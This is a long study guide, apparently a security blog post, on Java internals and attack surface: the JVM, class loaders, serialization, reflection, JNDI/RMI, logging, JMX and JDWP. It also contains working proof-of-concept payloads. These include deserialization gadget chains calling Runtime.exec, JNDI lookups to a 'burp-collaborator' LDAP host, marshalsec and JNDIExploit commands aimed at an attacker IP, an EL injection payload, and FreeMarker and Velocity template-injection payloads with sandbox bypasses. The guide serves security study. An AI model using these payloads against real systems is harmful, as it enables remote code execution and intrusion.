45 minute read

“I can only show you the door. You’re the one that has to walk through it.” - Morpheus, The Matrix.

Fundamentals

Java Virtual Machine (JVM)

Adaptive compiler

Standard Interpreter at Launch

  • Initially, the application runs using a basic interpreter.
  • This allows quick startup times since no compilation is performed upfront.

Hot Spot Detection

  • The VM monitors runtime behavior to identify frequently executed portions of the code, known as hot spots.
  • These hot spots are analyzed for potential optimizations.

Selective Compilation

  • Only performance-critical code is compiled into machine code, while seldom-used code remains interpreted.
  • This balances optimization effort with runtime performance.

Optimization Techniques

  • Inlining: Frequently invoked methods are embedded directly into the caller, reducing method call overhead.
  • Loop Unrolling: Iterative loops are expanded to reduce the number of iterations and branch instructions.
  • Speculative Optimizations: Assumptions about code behavior (e.g., object types) are made to optimize performance. These optimizations can be reverted if assumptions prove incorrect (deoptimization).

Rapid Memory Allocation

The HotSpot VM allocates memory for objects efficiently using Thread-Local Allocation Buffers (TLABs):

  • Each thread is provided a small chunk of memory to minimize contention with other threads.
  • Allocation from TLABs is extremely fast (essentially a pointer increment).

Java Bytecode

  • Java bytecode allows “write once, run anywhere” by abstracting machine-specific details to the underlying hardware.
  • The bytecode format is designed to be compact, making it suitable for network transmission.
  • Optimized for quick interpretation or Just-In-Time (JIT) compilation.
  • Bytecode runs inside the JVM sandbox, offering better security and preventing direct access to underlying hardware or OS.
  • Java provides the javap tool to inspect compiled .class files and view their bytecode: javap -c Test.class.
  • List of Java bytecode instructions.
  • Advanced Bytecode Inspection Tools
    • ASM Framework: Analyze or modify bytecode programmatically.
    • Byte Buddy: Simplifies creating or modifying bytecode at runtime.
    • Javassist: High-level API for editing bytecode dynamically.
  • Bug

Garbage Collection

Serial GC

  • Designed for single-threaded environments.
  • Performs stop-the-world garbage collection.

Parallel GC (Throughput Collector)

  • Utilizes multiple threads for both minor and major garbage collections.
  • Suitable for applications requiring high throughput.

Concurrent Mark-Sweep (CMS) Collector

  • Focuses on reducing application pause times by performing most of its work concurrently with the application threads.

G1 GC (Garbage-First)

  • Divides the heap into regions and prioritizes garbage collection in regions with the most garbage.
  • Ideal for applications with large heaps and low-latency requirements.

ZGC (Z Garbage Collector) and Shenandoah

  • Advanced low-latency garbage collectors.
  • Perform concurrent compaction, reducing pause times to a few milliseconds even for large heaps.

Thread synchronization

Efficient Locking Mechanisms

  • Biased Locking: Locks are biased toward a single thread to avoid overhead when contention is low.
  • Lightweight Locking: CAS-based (Compare-And-Swap) locks are used for uncontended locks to reduce synchronization costs.
  • Heavyweight Locks: Used when threads compete heavily for a resource.

Scalable Thread Management

  • The HotSpot VM is designed to handle a large number of threads efficiently, scaling well on shared-memory multiprocessor servers.

Thread Coordination

  • Threads cooperate during garbage collection and JIT compilation, ensuring minimal disruption to application execution.

Class Loaders

  • JVM uses class loaders as there is no runtime linker.
  • The JVM doesn’t need to know about the underlying files or file systems in order to run Java programs thanks to class loaders.
  • Java classes aren’t loaded into memory all at once, but rather when they’re required by an application.

Bootstrap ClassLoader

  • The root of the ClassLoader hierarchy.
  • It is part of the JVM implementation and written in native code (not Java).
  • Does not extend the java.lang.ClassLoader class, but acts as the superclass for other ClassLoaders.
  • Loads the core Java classes required for basic functioning, such as classes from the java.lang, java.util, java.io, java.net, and java.sql packages.
  • Classpath for the Bootstrap ClassLoader is typically hardcoded and points to locations like: <JAVA_HOME>/lib, rt.jar, charsets.jar, or similar core libraries.
  • Cannot be directly accessed or modified by developers.

Extension/Platform ClassLoader

  • Child ClassLoader of the Bootstrap ClassLoader.
  • Used for loading Java extensions (optional packages).
  • Loads classes from the $JAVA_HOME/jre/lib/ext directory or any directories specified in the java.ext.dirs system property.
  • Handles classes such as cryptographic providers, additional API libraries, or any external libraries placed in the ext directory.
  • If a class is not found in the ext directory, the Extension ClassLoader delegates the request to the Bootstrap ClassLoader.

System/Application ClassLoader

  • The child of the Extension ClassLoader.
  • Responsible for loading application-specific classes and resources.
  • Loads classes specified by the classpath environment variable or passed via the -cp or -classpath JVM argument.
  • Typically includes directories, JAR files, or compiled .class files from the project workspace.
  • Points to the current working directory (.).
  • Developers can customize it using tools like Maven or Gradle for dependency management.
  • It is an instance of java.lang.ClassLoader.
  • Most user-defined classes and third-party libraries are loaded using the System ClassLoader.

Custom ClassLoaders

  • Create custom ClassLoaders by extending the java.lang.ClassLoader class for advanced use cases like:
    • Loading classes from custom locations (e.g., network, encrypted files).
    • Implementing dynamic module systems or plugin architectures.
  • Essential methods from the java.lang.ClassLoader class:
    • loadClass(): Responsible for loading the class given a name parameter.
    • defineClass(): Responsible for the conversion of an array of bytes into an instance of a class.
    • findClass(): Finds the class with the fully qualified name as a parameter.
    • getParent(): Returns the parent class loader for delegation.
    • getResource(): Tries to find a resource with the given name.

Readmore about ClassLoader

Readmore JVM


Application Input

Dependence on Frameworks

Apache Struts

Spring MVC

Hibernate

Low-level Input Classes

Low-level input classes provide direct access to HTTP request data.

  • ServletRequest
    • The base interface for all requests in the Servlet API.
    • Provides generic functionality applicable to all types of requests (HTTP or non-HTTP).
    • Key Methods
  • HttpServletRequest
    • Specialized subclass of ServletRequest for HTTP-specific functionality.
    • Provides fine-grained control over HTTP request data, including headers, query parameters, and cookies.
    • Extends functionality to support HTTP-specific operations.
    • Key Methods

Web Container

  • A Java-based server environment responsible for running web applications and managing their lifecycle.
  • Manages the lifecycle of servlets from initialization to destruction.
  • Automatically handles resource allocation, threading, and cleanup.
  • Typically part of a larger Java EE application server (e.g., GlassFish, WildFly).
  • Can function independently as a lightweight standalone web server.
  • Supports Web Application Resource (WAR) files.
    • Servlets
      • Key methods include init and destroy for lifecycle management, service for handling client requests, and getServletConfig for configuration details.
      • Post Servlet 3.0, annotations like @WebServlet simplify Servlet configuration, replacing the need to manually modify web.xml configuration files.
      • Filters, such as HelloFilter, provide global request filtering and authentication, while listeners monitor context, session, and request events for tasks like user statistics and session management.
    • JSP files
      • JSP is a combination of technologies for creating dynamic web pages, standardized by JSR 245. It includes basic syntax elements like scriptlets, declarations, expressions, comments, directives, and actions for embedding Java code in HTML.
      • JSP files are compiled into Servlets by the container. The generated Servlet class inherits from HttpJspBase, and essential objects like request, response, session, application, config, page, out, and pageContext are defined for convenient JSP code writing.
      • JSP supports reusable tags for dynamic content generation. taglib introduces custom tags, and JSTL (JavaServer Pages Standard Tag Library) provides core, format, SQL, XML, and function tag libraries for common tasks like conditional processing, collection traversal, and data formatting.
      • Despite the trend towards front-end and back-end separation, JSP remains valuable for rapid website prototyping and is still prevalent in many historical projects, making it essential for developers to understand its usage.
    • Static resources (HTML, CSS, JS)
    • Configuration files like web.xml
  • Implements Java Specification Requests (JSR):
    • Java Servlets: Core technology for handling HTTP requests and responses.
    • JavaServer Pages (JSP): Allows embedding Java code within HTML for dynamic content.
    • JavaServer Faces (JSF): A framework for building component-based UIs for web applications.
      • Components: Facelets, Filters, Web.xml
      • Implementations: Mojarra, MyFaces
  • Examples: Apache Tomcat and Jetty

Application Server

Readmore


Serialization

Key Features

  • Serialization in Java is the process of converting an object into a byte stream, enabling the object to be easily saved to a file, transmitted over a network, or otherwise persisted.

Magic Methods

  • readObject(): Used during deserialization to read and reconstruct the object. Custom implementations can validate or modify the deserialized data.
    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
      ois.defaultReadObject();
      // Additional validation or initialization
    }
    
  • readResolve() : Called after readObject(). Allows returning a replacement object, potentially preventing multiple deserialized instances.
    private Object readResolve() throws ObjectStreamException {
      return Singleton.INSTANCE;
    }
    
  • validateObject(): Called after readResolve(), but only if the serialized class is implementing the ObjectInputValidation interface.
    public void validateObject() throws InvalidObjectException {
      if (someField == null) {
          throw new InvalidObjectException("Invalid object state");
      }
    }
    
  • readObjectNoData(): Called when the serialized object’s superclass differs from the class being deserialized.
  • Object.finalize() : Rarely relevant during serialization/deserialization, but it might be triggered if garbage collection interacts with the object lifecycle.

Interfaces for Serialization

  • java.io.Serializable: Marks a class as serializable. It does not contain any methods.
  • FileOutputStream and ObjectOutputStream
    FileOutputStream fos = new FileOutputStream("object.ser");
    ObjectOutputStream oos = new ObjectOutputStream(fos);
    oos.writeObject(myObject);
    oos.close();
    

Contents of Serialized Data

Stores no code, but includes:

  • Variable types, names, and values.
  • Class names.

Multi-object Streams

  • Serialized streams can contain multiple objects sequentially, with no global headers.
  • Each deserialized object must be read in the same order.
    oos.writeObject(obj1);
    oos.writeObject(obj2);
    

Security Notes

  • Exposes private fields unless marked as transient.
  • Insecure implementations of readObject() or validateObject() can allow invalid or malicious states.
  • Restrict classes that can be deserialized using JEP 290
  • Use JSON or XML libraries for serialization (e.g., Jackson, Gson).

Readmore


Deserialization

  • To achieve broader goals such as authentication bypass or privilege escalation.

Exploitation Pathways

Finding a Way In

  • Any Java object deserialization influenced by user-controlled input is probably vulnerable.
  • Look for ObjectInputStream.readObject(), Externalizable.readExternal(), or custom methods.
  • Search for serialized Java objects (e.g., 0xaced0005 or rO0 in Base64, GZIP: H4sIA, Content-type: application/x-java-serialized-object).

Finding Gadgets

Gadget Types

(1) Trampolines Gadgets

  • Gadgets like HashSet can invoke arbitrary methods (hashCode() on set elements).
    • When deserializing, HashSet.readObject() reads the serialized elements.
    • It invokes hashCode() on each deserialized element to maintain hash integrity via HashMap.put().
    • By inserting a malicious object with an overridden hashCode() method, attackers can execute arbitrary code.
class Exploit {
    @Override
    public int hashCode() {
        Runtime.getRuntime().exec("touch /tmp/hacked");
        return 0;
    }
}
HashSet<Object> maliciousSet = new HashSet<>();
maliciousSet.add(new Exploit());
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.ser"));
oos.writeObject(maliciousSet);

Common Trampolines

  • HashSet: Invokes hashCode() on all its elements during deserialization.
  • PriorityQueue: Invokes compareTo() during deserialization when elements are sorted.
  • TreeSet: Uses a comparator to sort elements, invoking compare().
  • Hashtable: Invokes equals() and hashCode() on its keys.
  • ObjectInputStream: Automatically deserializes nested objects in the stream.
  • AnnotationInvocationHandler: Can invoke arbitrary methods when deserialized.

Finding Trampolines Manually

  • Search for Deserializable Classes: Use grep or similar tools to look for implements Serializable in the source code or decompiled classes.
    grep -r "implements Serializable" src/
    
  • Look for overrides of readObject(), readResolve(), or similar methods in these classes.
  • Identify methods automatically called by common Java APIs (hashCode(), compareTo(), etc.). Map out the chain of calls to see if they lead to exploitable sinkholes.
  • Static initializers (static { ... }) can execute arbitrary logic during class loading.
  • Finding Java gadget chains with CodeQL: QLinspector

(2) Sinkholes

  • A class that performs the final malicious action (e.g., command execution, file manipulation, or sensitive data exposure) during or after deserialization.
  • Not necessarily part of the deserialized object; it can be a target of invoked methods in the chain.
  • Often the endpoint of trampolines, receiving control to perform the attacker’s desired action.
  • Executes the “interesting function” during deserialization or indirectly through a chain of method calls.

Examples of Interesting Functions for Sinkholes

File Operations:

  • Sinkholes can exploit file APIs to manipulate files, such as creating, deleting, or modifying them. Example: java.io.FileOutputStream and java.nio.file.Files.
    new FileOutputStream("/tmp/pwn.txt").write("Pwned!".getBytes());
    

Reflection:

  • Use java.lang.reflect.Method or java.lang.reflect.Constructor to invoke private or otherwise restricted APIs.
    Method method = MyClass.class.getDeclaredMethod("restrictedFunction");
    method.setAccessible(true);
    method.invoke(targetObject);
    

Runtime Execution:

  • Execute commands using java.lang.Runtime.exec() or java.lang.ProcessBuilder.
    Runtime.getRuntime().exec("touch /tmp/pwn");
    

Class Loading:

  • Dynamically load classes from bytecode. Use ClassLoader.defineClass() to load bytecode.
    byte[] bytecode = {/* malicious bytecode */};
    Class<?> clazz = ClassLoader.getSystemClassLoader().defineClass(null, bytecode, 0, bytecode.length);
    clazz.newInstance();
    

JNDI Operations:

  • Leverage JNDI lookups for remote execution (e.g., LDAP or RMI exploits). Use javax.naming.InitialContext to execute a malicious LDAP or RMI call.
    InitialContext context = new InitialContext();
    context.lookup("ldap://burp-collaborator/payload");
    

Scripting Engines:

  • Use libraries like Rhino, Groovy, or BeanShell for stealthy remote code execution. Example classes: javax.script.ScriptEngineManager and org.codehaus.groovy.runtime.MethodClosure.
    ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");
    engine.eval("java.lang.Runtime.getRuntime().exec('touch /tmp/pwn');");
    

Chaining Gadgets

Start with a Trampoline:

  • Identify a deserializable class that automatically invokes methods (e.g., hashCode(), compareTo()).
  • Example: HashSet or PriorityQueue. HashSet.readObject() → Invokes hashCode() or compareTo() on malicious objects.

Bridge with Helper Gadgets:

  • Add intermediate classes to link the entry point to the malicious sinkhole (use Reflection).
  • Example: Use classes that perform unintended logic (e.g., overriding methods or triggering class instantiation).
    • Reflection via ObjectStreamClass.
    • Extracts class metadata during deserialization.
    • Uses reflection to allocate memory and reconstruct fields.

End with a Sinkhole:

  • Use a class that performs the desired malicious action, such as invoking system commands or modifying files.
  • Example: Invokes Runtime.getRuntime().exec() for command execution.

Example Chain

HashSet.readObject() → Calls hashCode() → Executes Runtime.exec().

Explanation:

  • HashSet.readObject() is invoked during deserialization.
  • readObject() calls HashMap.put() to add elements to the set.
  • HashMap.put() invokes hashCode() on the inserted objects.
  • Malicious payload overrides hashCode() to call Runtime.exec().
class Exploit {
    @Override
    public int hashCode() {
        Runtime.getRuntime().exec("calc.exe");
        return 0;
    }
}

HashSet<Object> maliciousSet = new HashSet<>();
maliciousSet.add(new Exploit());

Using JNDI as a Sinkhole

  • Use a deserialization entry point like ObjectInputStream.readObject().
  • The gadget chain eventually calls javax.naming.InitialContext.lookup().
  • A malicious LDAP server responds, triggering remote code execution.
    public class Exploit {
      private void readObject(ObjectInputStream in) throws Exception {
          new InitialContext().lookup("ldap://burp-collaborator/payload");
      }
    }
    

Popular Exploitation Libraries

Ysoserial

Marshalsec

  • A tool for generating deserialization payloads targeting RMI, JNDI, and various serialization formats.
  • Exploits vulnerabilities in JNDI lookups, RMI endpoints, and more. Helps craft payloads for server-side deserialization attacks.
  • Usage:
    java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://burp-collaborator/payload"
    

JNDIExploit

  • A framework for testing JNDI-related vulnerabilities.
  • Provides an LDAP server to serve malicious objects.
  • Useful for chaining deserialization attacks with JNDI lookups.
    java -jar JNDIExploit-1.2-SNAPSHOT.jar -i attacker-ip -p 1389
    

Key Deserialization Pitfalls

  • Transient and static fields are not serialized.
  • Constructors and non-magic methods are not called.
  • Only magic methods trigger deserialization logic.
    • readObject()
    • readResolve()
    • readExternal()
    • validateObject()
  • Exploitable deserialization relies on classpath-linked libraries for gadget chains. Example: Common gadgets come from libraries like Apache Commons, Spring, or JDK itself.

Readmore


Expression Language (EL)

  • Used in JSP/JSF to link presentation layers (UI) with application logic.

EL Injection

  • Occurs when untrusted input is evaluated by an EL parser.
  • Types of expressions:
    • Value: #{} as immediate evaluation
    • Method: ${} as deferred evaluation
  • Composite expressions are allowed but mixing of # and $ is prohibited

Capabilities

  • Access properties:
    ${sessionScope.cart.numberOfItems}
    ${param['productId']}
    ${header["host"]}
    
  • Perform operations:
    ${18 mod 3}
    ${'crit' gt 'crot'}
    ${(5*5) ne 25}
    

Categories of Accessible Variables via EL

Lambda parameters

Lambdas in Java provide a concise way to represent one method interface using an expression. They’re particularly useful for iterating through collections, filtering data, and executing functions in a more readable way. Important details:

  • They enable functional programming in Java.
  • Reduce boilerplate code, making the codebase cleaner and easier to maintain.
  • Can access final variables or effectively final variables from the surrounding scope.
  • Often used in conjunction with the Stream API for powerful data manipulation.
    List<String> names = Arrays.asList("Alice", "Bob", "Charlie");
    names.stream().filter(name -> name.startsWith("A")).forEach(System.out::println);
    

Readmore:

Literals

These are constant values that you assign to variables, representing specific data types like boolean, numeric, character, or string. Important details:

  • Integral literals (byte, short, int, long) can be written in decimal, hexadecimal, or octal form.
  • Floating-point literals are used to represent decimal values and can be written in either standard or scientific notation.
  • Character literals are enclosed in single quotes.
  • String literals are enclosed in double quotes.
  • Boolean literals represent only two values: true and false.
<h:outputText value="#{42}" />
<h:outputText value="#{'hello'}" />

Readmore:

Managed beans

These are JavaBeans that are managed by a container, typically used in JavaServer Faces (JSF) applications. They are created with no-argument constructors and are equipped with properties and methods that perform actions for UI components. Important details:

  • Managed beans can be created by the framework automatically or manually by the developer.
  • They facilitate the separation of business logic from the presentation layer.
  • Managed beans can have different scopes like request, session, application, and view.

Readmore:

Implicit objects

In JSP (JavaServer Pages), implicit objects are built-in objects that can be accessed directly without explicit declaration. They provide a way to interact with various aspects of the web application. Important details:

  • Common implicit objects include request, response, session, application, out, config, pageContext, page, and exception.
    • request: Represents the HttpServletRequest object.
    • response: Represents the HttpServletResponse object.
    • session: Represents the HttpSession object.
    • application: Represents the ServletContext object.
  • These objects allow developers to access parameters, attributes, and other web application data conveniently.
  • They simplify the coding process by providing direct access to essential web components.
<h:outputText value="#{request.parameter['username']}" />

Readmore:

Variables Defined in XHTML

These are variables you define directly within your XHTML files, enabling data binding and interaction with JSF components. Important details:

  • Typically used for binding JSF components to managed bean properties.
  • Enable dynamic interaction between the UI and backend logic.
  • Essential for maintaining a clean separation between the view and the model/controller in JSF applications.
  • Passing parameters using <ui:param> or <c:set> and accessing them in EL expressions.
<ui:param name="username" value="JohnDoe" />
<h:outputText value="#{username}" />

Security Considerations

  • Ensure any user-supplied data accessed via EL is properly sanitized to prevent injection attacks.
  • Restrict access to sensitive managed beans or methods via EL to avoid exposing critical functionality.
  • Limit the scope of managed beans to @RequestScoped or @ViewScoped unless broader access is essential.

Readmore


Reflection

  • Reflection in Java is a feature of the java.lang.reflect package, allowing dynamic inspection and modification of classes, methods, fields, and constructors during runtime.
  • Obtain a Class object using Object.getClass() or Class.forName("classname").
  • Dynamically call methods using Method.invoke().
    Method method = obj.getClass().getMethod("methodName", paramTypes);
    method.invoke(obj, params);
    
  • Instantiate objects using Constructor.newInstance().
    Constructor<?> constructor = clazz.getConstructor(paramTypes);
    Object instance = constructor.newInstance(params);
    
  • Access or modify fields, including private fields, using Field.get() or Field.set().
    Field field = clazz.getDeclaredField("fieldName");
    field.setAccessible(true);  // Bypass access checks.
    field.set(obj, newValue);
    
  • Modify access control using setAccessible(true) to bypass visibility restrictions.

Use Cases

Framework Development

  • Used in libraries like Spring and Hibernate for dependency injection, ORM, and proxies.

Dynamic Class Loading

  • Load classes and invoke methods at runtime without static references.

Testing Tools

  • Access private methods or fields in unit testing frameworks.

Serialization

  • Reflection is often used to inspect and handle fields during custom serialization.

Expression Language Parsers

  • Enable the dynamic evaluation of expressions, often used in Java web frameworks like JSP or JSF.
  • Exploiting weakly implemented or exposed EL parsers can allow an attacker to manipulate reflection-based calls to invoke arbitrary methods or access sensitive fields.

Exploitation Techniques

  • Weak Parsing Logic: Invoke the Runtime.exec() method for arbitrary command execution.
    ${''.getClass().forName('java.lang.Runtime').getMethod('exec', 'java.lang.String').invoke(null, 'calc')}
    
  • Access to Reflection APIs

Exploit Vectors

  • Dynamic Invocation of methods, fields, and constructors.
    • Reflection often underpins dynamic proxies or invocation handlers for frameworks like EJBs.
    • Attackers may exploit improperly secured invocation handlers to execute unintended methods or access sensitive data.
      Method method = someObject.getClass().getMethod("sensitiveMethod");
      method.invoke(someObject);
      
  • Modify access modifiers using setAccessible(true).
    • This feature can be exploited to access or modify private fields or methods:
      Field privateField = SomeClass.class.getDeclaredField("secret");
      privateField.setAccessible(true);
      Object value = privateField.get(someObject);
      

Attack scenarios of java.lang.reflect

Method Invocations

  • Reflection allows methods to be invoked dynamically, bypassing compile-time checks.
  • Exploit Method.invoke() to call methods on objects dynamically.
  • Call sensitive methods or execute unintended functionality.
    Method method = obj.getClass().getMethod("deleteAccount", null);
    method.setAccessible(true);
    method.invoke(obj, null); // Deletes user account without authorization.
    

Constructor Invocations

  • Reflection enables instantiation of objects without using new, potentially bypassing normal initialization logic or restrictions.
  • Use Constructor.newInstance() to instantiate objects, potentially bypassing normal initialization checks.
  • Create unauthorized instances of restricted classes.
    Constructor<?> constructor = RestrictedClass.class.getDeclaredConstructor(null);
    constructor.setAccessible(true);
    RestrictedClass obj = (RestrictedClass) constructor.newInstance(); // Unauthorized instantiation.
    

Field/Method/Constructor Access

  • Access and modify private fields, methods, or constructors regardless of their access modifiers.
  • Extract sensitive information from private fields.
  • Modify internal states or execute restricted methods.
    Field field = obj.getClass().getDeclaredField("password");
    field.setAccessible(true);
    String password = (String) field.get(obj); // Exposes sensitive data.
    

Example: Accessing Fields

  • The System.out field (commonly used for standard output) is accessible via reflection.
  • If attackers can reflectively access fields, they may manipulate or extract sensitive data.
    Field outField = System.class.getDeclaredField("out");
    

Example: Accessing Methods

  • Access the join method in the String class:
  • Reflective access to methods may bypass standard invocation flows.
    Method join = java.lang.String.class.getDeclaredMethod("join", CharSequence.class, CharSequence[].class);
    

Example: Accessing Constructors

  • Attackers can instantiate classes with unintended configurations, potentially altering application state.
    Constructor c1 = HashMap.class.getConstructor(new Class[] {});
    Constructor c2 = HashMap.class.getConstructor();
    

Example: Using Constructors

  • Reflection can instantiate classes even without directly invoking a constructor in normal code.
    Object instance = c1.newInstance();
    

Access Modifier Manipulation

  • Modify private, protected, or package-private members access levels using setAccessible().
  • Gain unauthorized access to internal states or functionality.
    Method sensitiveMethod = SecureClass.class.getDeclaredMethod("restrictedOperation");
    sensitiveMethod.setAccessible(true);
    sensitiveMethod.invoke(obj); // Executes restricted operation.
    

Mitigation

  • Avoid using reflection unless absolutely necessary. Prefer standard API calls over reflective access for normal operations.
  • Sanitize all inputs passed to reflection APIs. Prevent user-controlled inputs from influencing class names, method names, or parameters.
  • Use java.security.AccessController or a SecurityManager (Deprecated) to limit reflection access.
  • Adopt secure development practices.
  • Employ tools like JVM sandboxing or custom classloaders to limit reflection at runtime.
  • Log and monitor reflective calls for unusual or unauthorized behavior.

Readmore


Java Naming and Directory Interface (JNDI)

  • An abstract API used to access and manage naming and directory services. It allows Java applications to look up objects, services, or resources such as databases, EJBs, or remote servers in a standardized way.

Key Features

Service Lookup

  • Enables Java applications to locate objects or resources dynamically using naming services.
  • Example: Locating a database connection factory or a message queue.

Directory Access

  • Supports retrieving and managing hierarchical directory data, such as user details in an LDAP directory.

Binding and Unbinding

  • Objects can be bound to a name, making them accessible for lookups.
  • These bindings can be modified or removed as required.

Resource Management

  • Commonly used to configure and retrieve server-side resources like JDBC DataSources, mail sessions, and EJBs.

Structure

  • JNDI provides a unified interface to work with diverse naming and directory services via Service Provider Interfaces (SPI).
  • The Context Interface is the primary entry point:
    • InitialContext: Default context for resource lookups.
    • Methods include:
      • lookup(String name)
      • bind(String name, Object obj)
      • rebind(String name, Object obj)
      • unbind(String name)

Service Providers Interfaces (SPI)

Lightweight Directory Access Protocol (LDAP)

  • Used for accessing hierarchical directory services.
  • Commonly used in enterprise environments for authentication, authorization, and resource management.

Common Object Request Broker Architecture (CORBA)

  • Enables interaction with remote objects defined using CORBA IDL.
  • Allows naming and discovery in distributed systems.

Remote Method Invocation (RMI) Registry

  • Supports the binding and lookup of remote objects for Java RMI.

Important Notes

  • JNDI names are often hierarchical, resembling a file system.
  • Contexts may differ across environments (e.g., java:comp/env is typical for Java EE applications).
  • Security must be considered, as improper JNDI usage can lead to vulnerabilities like JNDI Injection.

Java Remote Method Protocol (JRMP)

  • The wire protocol used by Java’s Remote Method Invocation (RMI) for remote communication between JVMs. It is responsible for transmitting method calls, parameters, and results between RMI client and server objects.
  • RMI Endpoints:
    • IP Address: Identifies the host.
    • Port: Specifies the communication port (default RMI registry port is 1099).
    • ObjID: A unique identifier for the remote object.
  • JRMP manages remote method calls using three main components:
    • ObjID: Used to identify a remote object exported to an RMI runtime.
    • Operation Number (opnum): Specifies the operation (or method) to be invoked. Can be a fixed value for predefined methods or a hash of the method signature.
    • Parameters: Input data required by the invoked method. Must match the method signature defined in the remote interface.
  • Transmits method parameters and return values using Java object serialization.
  • JRMP is implemented via the StreamRemoteCall class, which handles the streaming of data between RMI endpoints.
  • Open RMI registry endpoints can expose sensitive functionality.
  • Wrap JRMP traffic in SSL/TLS for secure communication.
  • Limit JRMP communication to trusted hosts using firewalls or network policies.
  • Readmore:

Remote Method Invocation (RMI)

Basic Flow of a Remote Call

Client-Side:

  • The client creates a StreamRemoteCall object.
  • Method call data (ObjID, opnum, parameters) is serialized and sent to the server.
  • ObjID identifies HelloService.
  • opnum corresponds to sayHello(String).
    RemoteObject remoteObject = (RemoteObject) Naming.lookup("//localhost/HelloService");
    remoteObject.sayHello("World");
    

Server-Side:

  • The server receives the call, deserializes the data, and identifies the remote object using the ObjID.
  • The specified method (opnum) is invoked with the provided parameters.
    public void sayHello(String name) {
      System.out.println("Hello, " + name);
    }
    

Response:

  • The method’s return value is serialized and sent back to the client.

Readmore about JNDI


Java Logging

Standard Frameworks

  • JUL (java.util.logging): Basic logging utility bundled with Java SE. Typically done through logging.properties.
  • Log4j (Apache): One of the most popular frameworks, known for its configurability and performance. XML or YAML-based.
  • Logback: A modern and powerful logging library designed as a successor to Log4j. Performance-focused with features like conditional logging and fine-grained configuration.
  • SLF4J (Simple Logging Facade for Java): A facade for various logging frameworks (e.g., Log4j, Logback).
    • Enables runtime flexibility by decoupling the logging API from its implementation.
    • Provides bridges (e.g., log4j-over-slf4j) for seamless integration of legacy libraries.

Logging Configuration

  • Logging frameworks can be configured using different methods, including XML, properties files, and programmatic setups.

java.util.logging managed via logging.properties

handlers=java.util.logging.ConsoleHandler
java.util.logging.ConsoleHandler.level=FINE
.level=INFO

Log4j via XML

<Configuration status="WARN">
  <Appenders>
    <Console name="Console" target="SYSTEM_OUT">
      <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n"/>
    </Console>
  </Appenders>
  <Loggers>
    <Root level="info">
      <AppenderRef ref="Console"/>
    </Root>
  </Loggers>
</Configuration>

SLF4J with Logback

<configuration>
  <appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
    <encoder>
      <pattern>%d{yyyy-MM-dd HH:mm:ss} %-5level %logger{36} - %msg%n</pattern>
    </encoder>
  </appender>
  <root level="debug">
    <appender-ref ref="CONSOLE"/>
  </root>
</configuration>

Readmore


Java Management Extension (JMX)

JMX Overview

  • Enables monitoring and management of Java applications via MBeans (managed beans).
  • MBeans: Expose readable/writable attributes and invokable operations.
    • Readable Attributes: Expose current application state (e.g., memory usage).
    • Writable Attributes: Enable configuration changes (e.g., thread pool size).
    • Operations: Allow invoking application logic (e.g., triggering garbage collection).
  • All MBeans are registered in an MBeanServer, acting as a registry.

JMX Connectors

JMX Authentication Mechanisms

  1. File-based Authentication:
    • Enabled via -Dcom.sun.management.jmxremote.authenticate=true.
    • Uses plaintext credentials stored on disk.
  2. SSL Authentication:
    • Enabled with -Dcom.sun.management.jmxremote.ssl=true.
    • Proper configuration of a keystore (for the server) and a truststore (for clients).
-Djavax.net.ssl.keyStore=server_keystore.jks
-Djavax.net.ssl.trustStore=client_truststore.jks

Readmore


Debugging

Java Code Modification

  • Burp Suite Infiltrator: Patches bytecode to add hooks for unsafe API calls.

Java Debuggers

  • Use Eclipse IDE with jd-eclipse for decompiling closed-source code.
  • Use JD-GUI to decompile java applications.

Java Debug Wire Protocol (JDWP)

  • Debugger Wire Protocol for remote debugging.
  • Security concerns:
    • No authentication or encryption.
    • Detectable via JDWP-Handshake.
  • Finding hosts exposing JDWP:
    • Locally check in the process list for strings such as:
      • -Xdebug
      • -Xrunjdwp
      • -agentlib:jdwp
      • transport=dt_socket
      • the address option indicates the listening port number
    • Remotely
      • Send “JDWP-Handshake” and see if the host responds with the same string. If no reply is got it means the remote service is JDWP.
      • Use nmap –sV option: $ nmap -sV -P0 -n -p
      • JDWP has no default listening port, you can search inside code repositories (github, gitlab, etc.)
  • Readmore:

Exploitation

Server Side Template Injection (SSTI)

  • SSTI occurs when user-controlled input is directly processed by a server-side templating engine, leading to potential code execution or data leakage.

Common Templating Engines

FreeMarker

  • Found in tools like Alfresco, Liferay, Crafter CMS, Ofbiz, and Khoros.
  • Built-in functions like ?new and exec() enable executing arbitrary commands.
    ${user.displayName}
    ${message}
    
  • SSTI Example (RCE):
    <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}
    
  • Implements a ClassResolver to restrict accessible classes.
  • Allowed methods:
    ${.data_model.keySet()}
    ${request.servletContext.classLoader}
    
  • The syntax ${NUMBER?lower_abc} converts the number (0-based) into the corresponding alphabet character (1 → a, 26 → z, 27 → aa).
  • Custom string combinations bypass sandbox checks: ${'calc'.toUpperCase()} or ${'c' + 'alc'}.
  • Use intermediate expressions, such as calling .get() on a permissive object to access restricted methods.
  • Use dynamic string crafting to construct sensitive methods (e.g., Execute). Example: ${freemarker.template.utility.Execute("command")}
  • Here is a list of common place where a Classloader might be returned.
    • java.lang.Class.getClassLoader()
    • java.lang.Thread.getCurrentClassLoader()
    • java.lang.ProtectionDomain.getClassLoader()
    • javax.servlet.ServletContext.getClassLoader()
    • org.osgi.framework.wiring.BundleWiring.getClassLoader()
    • org.springframework.context.ApplicationContext.getClassLoader()

Apache Velocity

  • Found in systems like dotCMS, Cascade, Confluence, and XWiki.
  • Template Syntax:
    #set($foo = "bar")
    $foo
    
  • SSTI Example (Command Execution):
    #set($rt=$x.class.forName('java.lang.Runtime'))##
    #set($ex=$rt.getRuntime().exec('ls'))##
    $ex.waitFor()
    
  • Restricts classes or entire packages:
    introspector.restrict.packages = java.lang.reflect
    introspector.restrict.classes = java.lang.Class
    introspector.restrict.classes = java.lang.ClassLoader
    ...
    
  • Blocklist checks are performed on current object class rather than inspecting the class hierarchy. eg:
    ${request.servletContext.classLoader.loadClass("CLASS")}
    $request.servletContext.classLoader.loadClass("com.sun.org.apache.xerces.internal.utils.ObjectFactory").newInstance("javax.script.ScriptEngineManager",null,true)
    
  • Bug:

Thymeleaf

  • Frequently used in Java Spring applications.
